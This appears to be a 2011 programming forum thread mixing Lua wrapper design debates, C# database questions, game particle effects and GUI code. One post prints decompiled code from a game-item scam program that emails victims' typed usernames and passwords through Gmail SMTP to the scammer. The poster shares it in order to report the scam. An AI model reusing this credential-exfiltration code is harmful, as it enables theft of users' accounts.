[QUOTE=Dotmister;31644424]It'd be much better & more useful if it wasn't a singleton IMO[/QUOTE]
Reasons?
It's a nice way to initialize Lua only when needed, and destroy everything when the program ends.
[QUOTE=WeltEnSTurm;31644490]Reasons?
It's a nice way to initialize Lua only when needed, and destroy everything when the program ends.[/QUOTE]
Singleton's have the obvious disadvantage of that you can only have 1 instance of it. They also have pretty much zero advantages excluding convenience factors. For example I wrote a http server a few months ago which used lua as a scripting language and it would be impossible to use this since it required a new instance of the luavm for each request. I'm sure there's other good reasons too, such as dependency injection etc.
[QUOTE=Dotmister;31644683]Singleton's have the obvious disadvantage of that you can only have 1 instance of it. They also have pretty much zero advantages excluding convenience factors. For example I wrote a http server a few months ago which used lua as a scripting language and it would be impossible to use this since it required a new instance of the luavm for each request. I'm sure there's other good reasons too, such as dependency injection etc.[/QUOTE]
I only need one Lua environment for my program, so it works fine for me.
[QUOTE=WeltEnSTurm;31644726]I only need one Lua environment for my program, so it works fine for me.[/QUOTE]
This is a bad way to think about problems. There can always be the chance that you will need multiple lua vms later. Not only that but if you are already set on there being one instance it can cloud your design instincts.
[QUOTE=WeltEnSTurm;31644146][cpp]
#include "lua/lua.hpp"
int main(){
Lua::File("test.lua");
return 0;
}
[/cpp]
test.lua
[lua]
function main()
for i=1, 10 do
print("Lol number " .. i)
end
end
main()
[/lua]
[code]Lol number 1
Lol number 2
Lol number 3
Lol number 4
Lol number 5
Lol number 6
Lol number 7
Lol number 8
Lol number 9
Lol number 10
[/code]
Well, that was easy.
I like LuaJIT with my little wrapper singleton.[/QUOTE]
As others have said, a singleton probably isn't the best idea here. What I've found to be a good idea in the past is to make a very simple RAII class that creates a Lua state in its constructor, and closes it in its destructor. If you add in a lua_state cast operator or whatever you can easily use it in Lua's C API functions and so on.
Per-Pixel collisions are a bitch.
I need help for conectung and using a SQL database in visual studio c# Express edition.
I have no experienc with workin with databases in c#.I want to open a database and write data to it.It will contain only one table with fields like single and dateTime and i want to get the values from my program and constantly append to the database.Please guide me with the sipliest way or/and show me a tutorial a tutorial for databases in C#.
Thanks in advance. :dance:
[QUOTE=bobiniki;31647106]I need help for conectung and using a SQL database in visual studio c# Express edition.
I have no experienc with workin with databases in c#.I want to open a database and write data to it.It will contain only one table with fields like single and dateTime and i want to get the values from my program and constantly append to the database.Please guide me with the sipliest way or/and show me a tutorial a tutorial for databases in C#.
Thanks in advance. :dance:[/QUOTE]
If it's an app you're going to be distributing, that's a bad idea.
Trying to devise a fast and very simple solution to implementing 2d metaballs in XNA... le sigh
[QUOTE=r4nk_;31645811]This is a bad way to think about problems. There can always be the chance that you will need multiple lua vms later. Not only that but if you are already set on there being one instance it can cloud your design instincts.[/QUOTE]
I've just got to say briefly, that your use of the phrase "There can always be the chance" is [i]also[/i] a bad way to think about problems and can most definitely cloud your design instincts. Instead of thinking "What works best for [i]me[/i]?" you start to think what works best for other people who [i]might[/i] use your library. It was one of the reasons I would hem and haw over features in my build system, and then eventually get stuck in a mindset of "BUT WHAT IF X Y AND Z?! OH NO! D:", and then spiral into this downward think of "But what if".
Also on a sidenote, the singleton anti-pattern argument becomes useless in anything where the singleton is used as a:
1) Read-only object
2) It performs work on data with no side-effects
3) Is immutable, and the data it performs work on is immutable.
Linq-to-sql is turning into more work than its worth :\.
Actually working on Mari0.
Shocking I know.
[img]http://i.imgur.com/7bUvx.png[/img]
I think I'll need to use less particles a second.
[img]http://i.imgur.com/DYfuc.png[/img]
This is better. You only see them for half a second or so anyway.
[QUOTE=Chris220;31646078]As others have said, a singleton probably isn't the best idea here. What I've found to be a good idea in the past is to make a very simple RAII class that creates a Lua state in its constructor, and closes it in its destructor. If you add in a lua_state cast operator or whatever you can easily use it in Lua's C API functions and so on.[/QUOTE]
Is there a way to implicitly cast Lua to lua_State* when needed?
It's easy the other way around, but can I do it without being able to add a constructor to lua_State?
Edit:
Nevermind, I got it :D
Edit 2:
Or not.
Edit 3:
I can convert Lua to lua_State*, but not int (*)(Lua) to int (*)(lua_State*).
[QUOTE=Maurice;31647675]Actually working on Mari0.
Shocking I know.
[img]http://i.imgur.com/7bUvx.png[/img]
I think I'll need to use less particles a second.
[img]http://i.imgur.com/DYfuc.png[/img]
This is better. You only see them for half a second or so anyway.[/QUOTE]
Just code a simple trail/rope particle system using linked segments. I think it'd look x10 better than the dots and have much better readability. I can draw you a diagram of how one works if you want.
[QUOTE=Foda;31647922]Just code a simple trail/rope particle system using linked segments. I think it'd look x10 better than the dots and have much better readability. I can draw you a diagram of how one works if you want.[/QUOTE]
I don't even know what exactly you mean. Draw lines between the dots instead of dots?
Readability isn't really the issue. As I said you only see the trail for half a second.
[img]http://i.imgur.com/wgDBg.gif[/img]
Besides, I'm more worried about performance. I only get 40 fps on my netbook by now.
[QUOTE=iNova;31647192]If it's an app you're going to be distributing, that's a bad idea.[/QUOTE]
Yes it is. Why is it a bad idea? Cant I distribute it with the database in it?
-snip-
[editline]10th August 2011[/editline]
[QUOTE=Chandler;31647440]I've just got to say briefly, that your use of the phrase "There can always be the chance" is [i]also[/i] a bad way to think about problems and can most definitely cloud your design instincts. Instead of thinking "What works best for [i]me[/i]?" you start to think what works best for other people who [i]might[/i] use your library. It was one of the reasons I would hem and haw over features in my build system, and then eventually get stuck in a mindset of "BUT WHAT IF X Y AND Z?! OH NO! D:", and then spiral into this downward think of "But what if".
Also on a sidenote, the singleton anti-pattern argument becomes useless in anything where the singleton is used as a:
1) Read-only object
2) It performs work on data with no side-effects
3) Is immutable, and the data it performs work on is immutable.[/QUOTE]
It doesn't seem like it should be an object, then. It looks like what you've got are pure functions like any other.
[QUOTE=bobiniki;31648136]Yes it is. Why is it a bad idea? Cant I distribute it with the database in it?[/QUOTE]
Anything you can do with your program, the users can as well.
The best thing would be to host the database online and have a server script (php, aspx, python...) do all the actual cconnections to the database
[QUOTE=Maurice;31647963]I don't even know what exactly you mean. Draw lines between the dots instead of dots?
Readability isn't really the issue. As I said you only see the trail for half a second.
*cool gif*
Besides, I'm more worried about performance. I only get 40 fps on my netbook by now.[/QUOTE]
Something like this:
[QUOTE][IMG]http://images3.wikia.nocookie.net/__cb20100310233842/half-life/en/images/5/54/Portal_blue_sent.jpg[/IMG][/QUOTE]
It's nbd though.
some sort of hybrid between immediate-mode and event-based GUI:
[cpp]
void GameMainMenuState::Tick(float dt)
{
if (impl->PlayButton->Pressed)
{
runnable->PopGameState();
runnable->PushGameState(new GamePlayState(runnable));
return;
}
if (impl->ExitButton->Pressed)
{
runnable->PopGameState();
return;
}
impl->MainControl->Tick(dt);
}
[/cpp]
works pretty well considering vanilla non-1x C++ doesn't have any good event mechanism
Feels Minecrafty. I wonder if you can bodge that into your entity system.
[QUOTE=HubmaN;31648520]Feels Minecrafty. I wonder if you can bodge that into your entity system.[/QUOTE]
wait, are you talking what i just posted or something else? can you elaborate :v: im curious
[QUOTE=icantread49;31648553]wait, are you talking what i just posted or something else? can you elaborate :v: im curious[/QUOTE]
I am - I've just spent ages MCP spelunking and that's exactly the approach Minecraft uses, although for some reason the Mojangles prefer to stash their buttons in a "control list" that ends up feeling oddly declarative.
Just wondering if your entity system - it's a game, you either have an informal or formal one - allows you to deal with GUI state in there as well.
[QUOTE=HubmaN;31648840]
Just wondering if your entity system - it's a game, you either have an informal or formal one - allows you to deal with GUI state in there as well.[/QUOTE]
oh, at the moment entities don't have access to the GUI at all. it wouldn't be very hard to give them access if necessary, though:
[cpp]
class GUIProvider : public IService
{
public:
GUIControl* SomeControl;
// ...
};
// ...
void GameRunnable::Setup(...)
{
// ...
world->AddService(new GUIProvider());
}
// ...
void SomeEntityComponent::Tick(...)
{
// ...
GUIProvider* gui = Parent()->World()->GetService<GUIProvider>();
if (gui->SomeControl->Foo)
Bar();
}
[/cpp]
[QUOTE=icantread49;31649034]oh, at the moment entities don't have access to the GUI at all. it wouldn't be very hard to give them access if necessary, though:
[cpp]
class GUIProvider : public IService
{
public:
GUIControl* SomeControl;
// ...
};
// ...
void GameRunnable::Setup(...)
{
// ...
world->AddService(new GUIProvider());
}
// ...
void SomeEntityComponent::Tick(...)
{
// ...
GUIProvider* gui = Parent()->World()->GetService<GUIProvider>();
if (gui->SomeControl->Foo)
Bar();
}
[/cpp][/QUOTE]
Oh, no, I didn't mean that, sorry - I was asking if your entity system would allow you to do GUI items in a similar manner.
Noticed in the TF2 section yet another backpack scam, so decompiled to see which web address needed to report this time
[code]
SmtpClient client = new SmtpClient();
MailMessage message = new MailMessage();
client.Credentials = new NetworkCredential("YouGotMe", "FailCracker");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
message = new MailMessage();
message.From = new MailAddress("AweDontSteal@gmail.com");
message.To.Add("Admin@gmail.com");
message.Subject = "Username: " + this.TextBox1.Text + " Password: " + this.TextBox2.Text;
message.Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text;
client.Send(message);
MyProject.Forms.Form2.Show();
}
[/code]
Looks like someone being an idiot not even trying now.
[editline]10th August 2011[/editline]
and it seems I broke the [noparse][cpp][/cpp][/noparse] tags so switched tags
[editline]10th August 2011[/editline]
Also I just noticed, this just bounces off [email]admin@gmail.com[/email] so [email]AweDontSteal@gmail.com[/email] still gets the user/pass, so will be emailing gmail support about this
[editline]10th August 2011[/editline]
Last time this guy showed up, he was using a web address that had some php file that basically wrote whatever it was told to to whatever file it was told to, after using it to blank itself a couple times, reported the site.
[img]http://dl.dropbox.com/u/1093888/ZScreen/2011-08/Screenshot-2011-08-10_20.42.47.png[/img]
My first C++ project!
Todo: Parse GET requests
It has nothing to do with Garry's Mod so I can't really post it into the Lua version of this thread,
but neither does it have much to do with me programming.
Anyway, I made a Lua tutorial. Let me know what you think, if you're bored.
[url]http://weltensturm.bplaced.net/tutorials/lua/[/url]
It's my first tutorial ever, so.. don't take it serious :v:
Note that after reading this they should also read PiL because it quite literally tells you everything necessary.
[QUOTE]1000 but
1022 not
1170 that
1452 you
1579 it
2108 in
2742 and
2769 a
4051 the
4453 see
5686 for
8307 to
10022 is
11386 of[/QUOTE]
I just calculated the most used words in waywo, removing some obvious slips from the HTML/Javascript contained in the pages, so these aren't 100% correct. But I have come to conclusion... we're boring as fuck.
[url]http://pastebin.com/6JpR8XH1[/url]
Anything with less than 1 mention was removed, I also removed most 1 letter ones, but got bored after a while.
[editline]10th August 2011[/editline]
Fuck was only said 26 times in the entire 107 pages of WAYWO.... hmm, something might be wrong.
Edit:
[url]http://pastebin.com/iVUA5ZuL[/url]
Sorted by word length instead, this one is actually more interesting.
Sorry, you need to Log In to post a reply to this thread.